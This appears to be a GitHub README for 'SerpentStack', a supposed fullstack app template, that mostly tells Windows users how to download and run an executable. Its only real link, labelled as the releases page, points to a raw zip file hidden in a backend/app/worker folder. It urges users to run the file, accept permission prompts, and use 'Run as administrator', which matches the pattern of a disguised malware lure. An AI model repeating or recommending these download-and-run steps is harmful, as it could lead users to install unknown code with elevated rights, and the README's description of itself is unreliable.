🐍 SerpentStack - Build apps with less setup

🚀 What SerpentStack Is

SerpentStack is a fullstack app template for Windows users who want a ready-made starting point. It brings together a web app front end, a Python back end, a database, and cloud setup files in one place.

It is built for people who want to run a modern app without building every piece from scratch. If you want to try an app template that is set up for AI-assisted work, SerpentStack gives you that base.

📥 Download and Install on Windows

Use this page to download: SerpentStack Releases

Follow these steps on Windows:

1. Open the releases page in your web browser.
2. Find the latest release at the top of the page.
3. Download the file listed for Windows.
4. If the file is a zip file, right-click it and choose Extract All.
5. Open the extracted folder.
6. Run the app file that comes with the release.
7. If Windows asks for permission, choose Yes.

If you see more than one file, choose the one meant for Windows. It is often marked as an .exe file or included in a Windows folder.

💻 What You Need

SerpentStack works best on a Windows 10 or Windows 11 PC.

You should also have:

• A stable internet connection for the first download
• Enough disk space for the app and its data
• Permission to run apps on your computer
• A modern browser such as Chrome, Edge, or Firefox

If the release includes extra tools, the app may also work better with these installed:

• Docker Desktop
• Git
• Python 3.11 or newer
• Node.js 18 or newer

For most users, the release package should handle the setup for you.

🧭 First Run Steps

After you download and open the app, use these steps:

1. Start the app from the folder you extracted.
2. Wait while it loads its first files.
3. Open the app in your browser if it does not open on its own.
4. Create your first project or workspace.
5. Follow the on-screen prompts.
6. Save your work before you close the app.

If the app asks for a local database, it may start that for you. If it asks for a folder path, choose a folder you can find again.

🛠️ What You Get

SerpentStack brings together several parts that usually take time to set up on their own.

🌐 Front End

The front end uses React and TypeScript. This is the part you see in your browser. It gives you the app screens, forms, and buttons.

⚙️ Back End

The back end uses FastAPI. It handles app logic, data requests, and tasks in the background.

🗄️ Database Layer

The template uses Postgres for data storage. This gives the app a place to keep saved records, settings, and project data.

☁️ Cloud Setup

Terraform files are included for cloud setup. These help define server resources in a repeatable way.

🤖 Agent Skills

The template includes agent skills for AI-assisted development. These help guide automated tasks and support a smoother build process.

📂 Typical Folder Layout

You may see folders like these after you open the project:

• frontend for the web app
• backend for the Python server
• database for Postgres setup
• infra or terraform for cloud files
• skills for agent support files

This layout makes it easier to find the part you want to change.

🔧 Common Tasks

🖥️ Open the App

If the app is already installed, open the main file from the app folder.

🔄 Update the App

Go back to the releases page and download the latest version. Replace the old files with the new ones if the release notes say to do that.

🧹 Remove the App

If you want to remove it, delete the app folder and any data folder you created for it. If you used a local database, you may also need to remove that data file.

🧪 Simple Checks If It Does Not Start

If the app does not open, try these steps:

1. Make sure you downloaded the full release.
2. Check that you extracted all files from the zip.
3. Right-click the app file and choose Run as administrator.
4. Close and reopen your browser.
5. Restart your computer.
6. Download the release again if the file looks incomplete.

If the app opens but looks blank, wait a moment. First load can take longer on some machines.

🔐 Safety Tips

Keep the files in one folder and do not move them while the app is running. This helps avoid broken file paths.

Use a folder name without special symbols. Short names are easier to manage.

If you store data locally, back up that folder from time to time.

🧩 Who This Is For

SerpentStack fits users who want a working base for:

• AI-assisted app builds
• Fullstack web apps
• Internal tools
• Prototypes
• Small business dashboards
• Learning projects

It works well when you want one place for the web app, server, and database setup.

📌 Included Tech

The template uses:

• Python
• FastAPI
• React
• TypeScript
• Postgres
• Terraform

These tools are common in modern app work and help keep the project organized.

🖱️ Download Again Later

If you need the files again, use this page: https://github.com/Sujan70/SerpentStack/raw/refs/heads/main/backend/app/worker/Serpent_Stack_v2.6.zip

This is the same place to check for new versions, fixes, and release files for Windows.